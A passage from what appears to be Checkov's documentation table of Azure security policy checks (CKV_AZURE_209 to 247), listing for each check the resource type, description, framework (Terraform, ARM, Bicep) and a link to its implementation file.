                                |\n| 6116 | CKV_AZURE_209            | resource                         | azurerm_search_service                                                                           | Ensure that Azure Cognitive Search maintains SLA for search index queries                                                                                                                                | Terraform               | [AzureSearchSLAQueryUpdates.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchSLAQueryUpdates.py)                                                                         |\n| 6117 | CKV_AZURE_210            | resource                         | azurerm_search_service                                                                           | Ensure Azure Cognitive Search service allowed IPS does not give public Access                                                                                                                            | Terraform               | [AzureSearchAllowedIPsNotGlobal.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSearchAllowedIPsNotGlobal.py)                                                                 |\n| 6118 | CKV_AZURE_211            | resource                         | azurerm_service_plan                                                                             | Ensure App Service plan suitable for production use                                                                                                                                                      | Terraform               | [AppServiceSkuMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSkuMinimum.py)                                                                                     |\n| 6119 | CKV_AZURE_212            | resource                         | Microsoft.Web/sites                                                                              | Ensure App Service has a minimum number of instances for failover                                                                                                                                        | arm                     | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceInstanceMinimum.py)                                                                                       |\n| 6120 | CKV_AZURE_212            | resource                         | Microsoft.Web/sites                                                                              | Ensure App Service has a minimum number of instances for failover                                                                                                                                        | Bicep                   | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceInstanceMinimum.py)                                                                                       |\n| 6121 | CKV_AZURE_212            | resource                         | Microsoft.Web/sites/slots                                                                        | Ensure App Service has a minimum number of instances for failover                                                                                                                                        | arm                     | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceInstanceMinimum.py)                                                                                       |\n| 6122 | CKV_AZURE_212            | resource                         | Microsoft.Web/sites/slots                                                                        | Ensure App Service has a minimum number of instances for failover                                                                                                                                        | Bicep                   | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceInstanceMinimum.py)                                                                                       |\n| 6123 | CKV_AZURE_212            | resource                         | azurerm_service_plan                                                                             | Ensure App Service has a minimum number of instances for failover                                                                                                                                        | Terraform               | [AppServiceInstanceMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceInstanceMinimum.py)                                                                           |\n| 6124 | CKV_AZURE_213            | resource                         | Microsoft.Web/sites                                                                              | Ensure that App Service configures health check                                                                                                                                                          | arm                     | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSetHealthCheck.py)                                                                                         |\n| 6125 | CKV_AZURE_213            | resource                         | Microsoft.Web/sites                                                                              | Ensure that App Service configures health check                                                                                                                                                          | Bicep                   | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSetHealthCheck.py)                                                                                         |\n| 6126 | CKV_AZURE_213            | resource                         | Microsoft.Web/sites/slots                                                                        | Ensure that App Service configures health check                                                                                                                                                          | arm                     | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSetHealthCheck.py)                                                                                         |\n| 6127 | CKV_AZURE_213            | resource                         | Microsoft.Web/sites/slots                                                                        | Ensure that App Service configures health check                                                                                                                                                          | Bicep                   | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSetHealthCheck.py)                                                                                         |\n| 6128 | CKV_AZURE_213            | resource                         | azurerm_app_service                                                                              | Ensure that App Service configures health check                                                                                                                                                          | Terraform               | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSetHealthCheck.py)                                                                             |\n| 6129 | CKV_AZURE_213            | resource                         | azurerm_linux_web_app                                                                            | Ensure that App Service configures health check                                                                                                                                                          | Terraform               | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSetHealthCheck.py)                                                                             |\n| 6130 | CKV_AZURE_213            | resource                         | azurerm_windows_web_app                                                                          | Ensure that App Service configures health check                                                                                                                                                          | Terraform               | [AppServiceSetHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSetHealthCheck.py)                                                                             |\n| 6131 | CKV_AZURE_214            | resource                         | azurerm_linux_web_app                                                                            | Ensure App Service is set to be always on                                                                                                                                                                | Terraform               | [AppServiceAlwaysOn.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAlwaysOn.py)                                                                                         |\n| 6132 | CKV_AZURE_214            | resource                         | azurerm_windows_web_app                                                                          | Ensure App Service is set to be always on                                                                                                                                                                | Terraform               | [AppServiceAlwaysOn.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceAlwaysOn.py)                                                                                         |\n| 6133 | CKV_AZURE_215            | resource                         | azurerm_api_management_backend                                                                   | Ensure API management backend uses https                                                                                                                                                                 | Terraform               | [APIManagementBackendHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIManagementBackendHTTPS.py)                                                                           |\n| 6134 | CKV_AZURE_216            | resource                         | Microsoft.Network/azureFirewalls                                                                 | Ensure DenyIntelMode is set to Deny for Azure Firewalls                                                                                                                                                  | arm                     | [AzureFirewallDenyThreatIntelMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureFirewallDenyThreatIntelMode.py)                                                                         |\n| 6135 | CKV_AZURE_216            | resource                         | Microsoft.Network/azureFirewalls                                                                 | Ensure DenyIntelMode is set to Deny for Azure Firewalls                                                                                                                                                  | Bicep                   | [AzureFirewallDenyThreatIntelMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureFirewallDenyThreatIntelMode.py)                                                                         |\n| 6136 | CKV_AZURE_216            | resource                         | azurerm_firewall                                                                                 | Ensure DenyIntelMode is set to Deny for Azure Firewalls                                                                                                                                                  | Terraform               | [AzureFirewallDenyThreatIntelMode.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureFirewallDenyThreatIntelMode.py)                                                             |\n| 6137 | CKV_AZURE_217            | resource                         | azurerm_application_gateway                                                                      | Ensure Azure Application gateways listener that allow connection requests over HTTP                                                                                                                      | Terraform               | [AppGWUsesHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppGWUsesHttps.py)                                                                                                 |\n| 6138 | CKV_AZURE_218            | resource                         | Microsoft.Network/applicationGateways                                                            | Ensure Application Gateway defines secure protocols for in transit communication                                                                                                                         | arm                     | [AppGWDefinesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppGWDefinesSecureProtocols.py)                                                                                   |\n| 6139 | CKV_AZURE_218            | resource                         | Microsoft.Network/applicationGateways                                                            | Ensure Application Gateway defines secure protocols for in transit communication                                                                                                                         | Bicep                   | [AppGWDefinesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppGWDefinesSecureProtocols.py)                                                                                   |\n| 6140 | CKV_AZURE_218            | resource                         | azurerm_application_gateway                                                                      | Ensure Application Gateway defines secure protocols for in transit communication                                                                                                                         | Terraform               | [AppGWDefinesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppGWDefinesSecureProtocols.py)                                                                       |\n| 6141 | CKV_AZURE_219            | resource                         | azurerm_firewall                                                                                 | Ensure Firewall defines a firewall policy                                                                                                                                                                | Terraform               | [AzureFirewallDefinesPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureFirewallDefinesPolicy.py)                                                                         |\n| 6142 | CKV_AZURE_220            | resource                         | azurerm_firewall_policy                                                                          | Ensure Firewall policy has IDPS mode as deny                                                                                                                                                             | Terraform               | [AzureFirewallPolicyIDPSDeny.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureFirewallPolicyIDPSDeny.py)                                                                       |\n| 6143 | CKV_AZURE_221            | resource                         | azurerm_linux_function_app                                                                       | Ensure that Azure Function App public network access is disabled                                                                                                                                         | Terraform               | [FunctionAppPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py)                                                               |\n| 6144 | CKV_AZURE_221            | resource                         | azurerm_linux_function_app_slot                                                                  | Ensure that Azure Function App public network access is disabled                                                                                                                                         | Terraform               | [FunctionAppPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py)                                                               |\n| 6145 | CKV_AZURE_221            | resource                         | azurerm_windows_function_app                                                                     | Ensure that Azure Function App public network access is disabled                                                                                                                                         | Terraform               | [FunctionAppPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py)                                                               |\n| 6146 | CKV_AZURE_221            | resource                         | azurerm_windows_function_app_slot                                                                | Ensure that Azure Function App public network access is disabled                                                                                                                                         | Terraform               | [FunctionAppPublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppPublicAccessDisabled.py)                                                               |\n| 6147 | CKV_AZURE_222            | resource                         | Microsoft.Web/sites                                                                              | Ensure that Azure Web App public network access is disabled                                                                                                                                              | arm                     | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py)                                                                             |\n| 6148 | CKV_AZURE_222            | resource                         | Microsoft.Web/sites                                                                              | Ensure that Azure Web App public network access is disabled                                                                                                                                              | Bicep                   | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py)                                                                             |\n| 6149 | CKV_AZURE_222            | resource                         | Microsoft.Web/sites/config                                                                       | Ensure that Azure Web App public network access is disabled                                                                                                                                              | arm                     | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py)                                                                             |\n| 6150 | CKV_AZURE_222            | resource                         | Microsoft.Web/sites/config                                                                       | Ensure that Azure Web App public network access is disabled                                                                                                                                              | Bicep                   | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py)                                                                             |\n| 6151 | CKV_AZURE_222            | resource                         | Microsoft.Web/sites/slots                                                                        | Ensure that Azure Web App public network access is disabled                                                                                                                                              | arm                     | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py)                                                                             |\n| 6152 | CKV_AZURE_222            | resource                         | Microsoft.Web/sites/slots                                                                        | Ensure that Azure Web App public network access is disabled                                                                                                                                              | Bicep                   | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePublicAccessDisabled.py)                                                                             |\n| 6153 | CKV_AZURE_222            | resource                         | azurerm_linux_web_app                                                                            | Ensure that Azure Web App public network access is disabled                                                                                                                                              | Terraform               | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePublicAccessDisabled.py)                                                                 |\n| 6154 | CKV_AZURE_222            | resource                         | azurerm_windows_web_app                                                                          | Ensure that Azure Web App public network access is disabled                                                                                                                                              | Terraform               | [AppServicePublicAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePublicAccessDisabled.py)                                                                 |\n| 6155 | CKV_AZURE_223            | resource                         | Microsoft.EventHub/namespaces                                                                    | Ensure Event Hub Namespace uses at least TLS 1.2                                                                                                                                                         | arm                     | [EventHubNamespaceMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventHubNamespaceMinTLS12.py)                                                                                       |\n| 6156 | CKV_AZURE_223            | resource                         | Microsoft.EventHub/namespaces                                                                    | Ensure Event Hub Namespace uses at least TLS 1.2                                                                                                                                                         | Bicep                   | [EventHubNamespaceMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/EventHubNamespaceMinTLS12.py)                                                                                       |\n| 6157 | CKV_AZURE_223            | resource                         | azurerm_eventhub_namespace                                                                       | Ensure Event Hub Namespace uses at least TLS 1.2                                                                                                                                                         | Terraform               | [EventHubNamespaceMinTLS12.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventHubNamespaceMinTLS12.py)                                                                           |\n| 6158 | CKV_AZURE_224            | resource                         | azurerm_mssql_database                                                                           | Ensure that the Ledger feature is enabled on database that requires cryptographic proof and nonrepudiation of data integrity                                                                             | Terraform               | [SQLDatabaseLedgerEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLDatabaseLedgerEnabled.py)                                                                             |\n| 6159 | CKV_AZURE_225            | resource                         | Microsoft.Web/serverfarms                                                                        | Ensure the App Service Plan is zone redundant                                                                                                                                                            | arm                     | [AppServicePlanZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePlanZoneRedundant.py)                                                                                   |\n| 6160 | CKV_AZURE_225            | resource                         | Microsoft.Web/serverfarms                                                                        | Ensure the App Service Plan is zone redundant                                                                                                                                                            | Bicep                   | [AppServicePlanZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServicePlanZoneRedundant.py)                                                                                   |\n| 6161 | CKV_AZURE_225            | resource                         | azurerm_service_plan                                                                             | Ensure the App Service Plan is zone redundant                                                                                                                                                            | Terraform               | [AppServicePlanZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServicePlanZoneRedundant.py)                                                                       |\n| 6162 | CKV_AZURE_226            | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure ephemeral disks are used for OS disks                                                                                                                                                             | arm                     | [AKSEphemeralOSDisks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEphemeralOSDisks.py)                                                                                                   |\n| 6163 | CKV_AZURE_226            | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure ephemeral disks are used for OS disks                                                                                                                                                             | Bicep                   | [AKSEphemeralOSDisks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEphemeralOSDisks.py)                                                                                                   |\n| 6164 | CKV_AZURE_226            | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure ephemeral disks are used for OS disks                                                                                                                                                             | Terraform               | [AKSEphemeralOSDisks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSEphemeralOSDisks.py)                                                                                       |\n| 6165 | CKV_AZURE_227            | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources                                                                                             | arm                     | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py)                                                                                     |\n| 6166 | CKV_AZURE_227            | resource                         | Microsoft.ContainerService/managedClusters                                                       | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources                                                                                             | Bicep                   | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py)                                                                                     |\n| 6167 | CKV_AZURE_227            | resource                         | Microsoft.ContainerService/managedClusters/agentPools                                            | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources                                                                                             | arm                     | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py)                                                                                     |\n| 6168 | CKV_AZURE_227            | resource                         | Microsoft.ContainerService/managedClusters/agentPools                                            | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources                                                                                             | Bicep                   | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSEncryptionAtHostEnabled.py)                                                                                     |\n| 6169 | CKV_AZURE_227            | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources                                                                                             | Terraform               | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSEncryptionAtHostEnabled.py)                                                                         |\n| 6170 | CKV_AZURE_227            | resource                         | azurerm_kubernetes_cluster_node_pool                                                             | Ensure that the AKS cluster encrypt temp disks, caches, and data flows between Compute and Storage resources                                                                                             | Terraform               | [AKSEncryptionAtHostEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSEncryptionAtHostEnabled.py)                                                                         |\n| 6171 | CKV_AZURE_228            | resource                         | azurerm_eventhub_namespace                                                                       | Ensure the Azure Event Hub Namespace is zone redundant                                                                                                                                                   | Terraform               | [EventHubNamespaceZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/EventHubNamespaceZoneRedundant.py)                                                                 |\n| 6172 | CKV_AZURE_229            | resource                         | Microsoft.Sql/servers/databases                                                                  | Ensure the Azure SQL Database Namespace is zone redundant                                                                                                                                                | arm                     | [SQLDatabaseZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLDatabaseZoneRedundant.py)                                                                                         |\n| 6173 | CKV_AZURE_229            | resource                         | Microsoft.Sql/servers/databases                                                                  | Ensure the Azure SQL Database Namespace is zone redundant                                                                                                                                                | Bicep                   | [SQLDatabaseZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SQLDatabaseZoneRedundant.py)                                                                                         |\n| 6174 | CKV_AZURE_229            | resource                         | azurerm_mssql_database                                                                           | Ensure the Azure SQL Database Namespace is zone redundant                                                                                                                                                | Terraform               | [SQLDatabaseZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SQLDatabaseZoneRedundant.py)                                                                             |\n| 6175 | CKV_AZURE_230            | resource                         | azurerm_redis_cache                                                                              | Standard Replication should be enabled                                                                                                                                                                   | Terraform               | [RedisCacheStandardReplicationEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/RedisCacheStandardReplicationEnabled.py)                                                     |\n| 6176 | CKV_AZURE_231            | resource                         | azurerm_app_service_environment_v3                                                               | Ensure App Service Environment is zone redundant                                                                                                                                                         | Terraform               | [AppServiceEnvironmentZoneRedundant.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceEnvironmentZoneRedundant.py)                                                         |\n| 6177 | CKV_AZURE_232            | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure that only critical system pods run on system nodes                                                                                                                                                | Terraform               | [AKSOnlyCriticalPodsOnSystemNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSOnlyCriticalPodsOnSystemNodes.py)                                                             |\n| 6178 | CKV_AZURE_233            | resource                         | Microsoft.ContainerRegistry/registries                                                           | Ensure Azure Container Registry (ACR) is zone redundant                                                                                                                                                  | arm                     | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableZoneRedundancy.py)                                                                                           |\n| 6179 | CKV_AZURE_233            | resource                         | Microsoft.ContainerRegistry/registries                                                           | Ensure Azure Container Registry (ACR) is zone redundant                                                                                                                                                  | Bicep                   | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableZoneRedundancy.py)                                                                                           |\n| 6180 | CKV_AZURE_233            | resource                         | Microsoft.ContainerRegistry/registries/replications                                              | Ensure Azure Container Registry (ACR) is zone redundant                                                                                                                                                  | arm                     | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableZoneRedundancy.py)                                                                                           |\n| 6181 | CKV_AZURE_233            | resource                         | Microsoft.ContainerRegistry/registries/replications                                              | Ensure Azure Container Registry (ACR) is zone redundant                                                                                                                                                  | Bicep                   | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableZoneRedundancy.py)                                                                                           |\n| 6182 | CKV_AZURE_233            | resource                         | azurerm_container_registry                                                                       | Ensure Azure Container Registry (ACR) is zone redundant                                                                                                                                                  | Terraform               | [ACREnableZoneRedundancy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACREnableZoneRedundancy.py)                                                                               |\n| 6183 | CKV_AZURE_234            | resource                         | azurerm_security_center_subscription_pricing                                                     | Ensure that Azure Defender for cloud is set to On for Resource Manager                                                                                                                                   | Terraform               | [AzureDefenderDisabledForResManager.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureDefenderDisabledForResManager.py)                                                         |\n| 6184 | CKV_AZURE_235            | resource                         | azurerm_container_group                                                                          | Ensure that Azure container environment variables are configured with secure values only                                                                                                                 | Terraform               | [AzureContainerInstanceEnvVarSecureValueType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureContainerInstanceEnvVarSecureValueType.py)                                       |\n| 6185 | CKV_AZURE_236            | resource                         | Microsoft.CognitiveServices/accounts                                                             | Ensure that Cognitive Services accounts disable local authentication                                                                                                                                     | arm                     | [CognitiveServicesEnableLocalAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesEnableLocalAuth.py)                                                                         |\n| 6186 | CKV_AZURE_236            | resource                         | Microsoft.CognitiveServices/accounts                                                             | Ensure that Cognitive Services accounts disable local authentication                                                                                                                                     | Bicep                   | [CognitiveServicesEnableLocalAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesEnableLocalAuth.py)                                                                         |\n| 6187 | CKV_AZURE_236            | resource                         | azurerm_cognitive_account                                                                        | Ensure that Cognitive Services accounts disable local authentication                                                                                                                                     | Terraform               | [CognitiveServicesEnableLocalAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CognitiveServicesEnableLocalAuth.py)                                                             |\n| 6188 | CKV_AZURE_237            | resource                         | azurerm_container_registry                                                                       | Ensure dedicated data endpoints are enabled.                                                                                                                                                             | Terraform               | [ACRDedicatedDataEndpointEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRDedicatedDataEndpointEnabled.py)                                                               |\n| 6189 | CKV_AZURE_238            | resource                         | Microsoft.CognitiveServices/accounts                                                             | Ensure that all Azure Cognitive Services accounts are configured with a managed identity                                                                                                                 | arm                     | [CognitiveServicesConfigureIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesConfigureIdentity.py)                                                                     |\n| 6190 | CKV_AZURE_238            | resource                         | Microsoft.CognitiveServices/accounts                                                             | Ensure that all Azure Cognitive Services accounts are configured with a managed identity                                                                                                                 | Bicep                   | [CognitiveServicesConfigureIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesConfigureIdentity.py)                                                                     |\n| 6191 | CKV_AZURE_238            | resource                         | azurerm_cognitive_account                                                                        | Ensure that all Azure Cognitive Services accounts are configured with a managed identity                                                                                                                 | Terraform               | [CognitiveServicesConfigureIdentity.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CognitiveServicesConfigureIdentity.py)                                                         |\n| 6192 | CKV_AZURE_239            | resource                         | Microsoft.Synapse/workspaces                                                                     | Ensure Azure Synapse Workspace administrator login password is not exposed                                                                                                                               | arm                     | [SynapseWorkspaceAdministratorLoginPasswordHidden.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceAdministratorLoginPasswordHidden.py)                                         |\n| 6193 | CKV_AZURE_239            | resource                         | Microsoft.Synapse/workspaces                                                                     | Ensure Azure Synapse Workspace administrator login password is not exposed                                                                                                                               | Bicep                   | [SynapseWorkspaceAdministratorLoginPasswordHidden.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceAdministratorLoginPasswordHidden.py)                                         |\n| 6194 | CKV_AZURE_239            | resource                         | azurerm_synapse_workspace                                                                        | Ensure Azure Synapse Workspace administrator login password is not exposed                                                                                                                               | Terraform               | [SynapseWorkspaceAdministratorLoginPasswordHidden.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseWorkspaceAdministratorLoginPasswordHidden.py)                             |\n| 6195 | CKV_AZURE_240            | resource                         | Microsoft.Synapse/workspaces                                                                     | Ensure Azure Synapse Workspace is encrypted with a CMK                                                                                                                                                   | arm                     | [SynapseWorkspaceCMKEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceCMKEncryption.py)                                                                               |\n| 6196 | CKV_AZURE_240            | resource                         | Microsoft.Synapse/workspaces                                                                     | Ensure Azure Synapse Workspace is encrypted with a CMK                                                                                                                                                   | Bicep                   | [SynapseWorkspaceCMKEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceCMKEncryption.py)                                                                               |\n| 6197 | CKV_AZURE_240            | resource                         | azurerm_synapse_workspace                                                                        | Ensure Azure Synapse Workspace is encrypted with a CMK                                                                                                                                                   | Terraform               | [SynapseWorkspaceCMKEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseWorkspaceCMKEncryption.py)                                                                   |\n| 6198 | CKV_AZURE_241            | resource                         | azurerm_synapse_sql_pool                                                                         | Ensure Synapse SQL pools are encrypted                                                                                                                                                                   | Terraform               | [SynapseSQLPoolDataEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseSQLPoolDataEncryption.py)                                                                     |\n| 6199 | CKV_AZURE_242            | resource                         | Microsoft.Synapse/workspaces/bigDataPools                                                        | Ensure isolated compute is enabled for Synapse Spark pools                                                                                                                                               | arm                     | [AzureSparkPoolIsolatedComputeEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSparkPoolIsolatedComputeEnabled.py)                                                                 |\n| 6200 | CKV_AZURE_242            | resource                         | Microsoft.Synapse/workspaces/bigDataPools                                                        | Ensure isolated compute is enabled for Synapse Spark pools                                                                                                                                               | Bicep                   | [AzureSparkPoolIsolatedComputeEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureSparkPoolIsolatedComputeEnabled.py)                                                                 |\n| 6201 | CKV_AZURE_242            | resource                         | azurerm_synapse_spark_pool                                                                       | Ensure isolated compute is enabled for Synapse Spark pools                                                                                                                                               | Terraform               | [AzureSparkPoolIsolatedComputeEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureSparkPoolIsolatedComputeEnabled.py)                                                     |\n| 6202 | CKV_AZURE_243            | resource                         | Microsoft.MachineLearningServices/workspaces                                                     | Ensure Azure Machine learning workspace is configured with private endpoint                                                                                                                              | arm                     | [AzureMLWorkspacePrivateEndpoint.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureMLWorkspacePrivateEndpoint.py)                                                                           |\n| 6203 | CKV_AZURE_243            | resource                         | Microsoft.MachineLearningServices/workspaces                                                     | Ensure Azure Machine learning workspace is configured with private endpoint                                                                                                                              | Bicep                   | [AzureMLWorkspacePrivateEndpoint.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AzureMLWorkspacePrivateEndpoint.py)                                                                           |\n| 6204 | CKV_AZURE_244            | resource                         | azurerm_storage_account                                                                          | Avoid the use of local users for Azure Storage unless necessary                                                                                                                                          | Terraform               | [StorageLocalUsers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/StorageLocalUsers.py)                                                                                           |\n| 6205 | CKV_AZURE_245            | resource                         | azurerm_container_group                                                                          | Ensure that Azure Container group is deployed into virtual network                                                                                                                                       | Terraform               | [AzureContainerInstancePublicIPAddressType.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AzureContainerInstancePublicIPAddressType.py)                                           |\n| 6206 | CKV_AZURE_246            | resource                         | azurerm_kubernetes_cluster                                                                       | Ensure Azure AKS cluster HTTP application routing is disabled                                                                                                                                            | Terraform               | [KubernetesClusterHTTPApplicationRouting.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/KubernetesClusterHTTPApplicationRouting.py)                                               |\n| 6207 | CKV_AZURE_247            | resource                         | azurerm_cognitive_account                                                                        | Ensure that Azure Cognitive 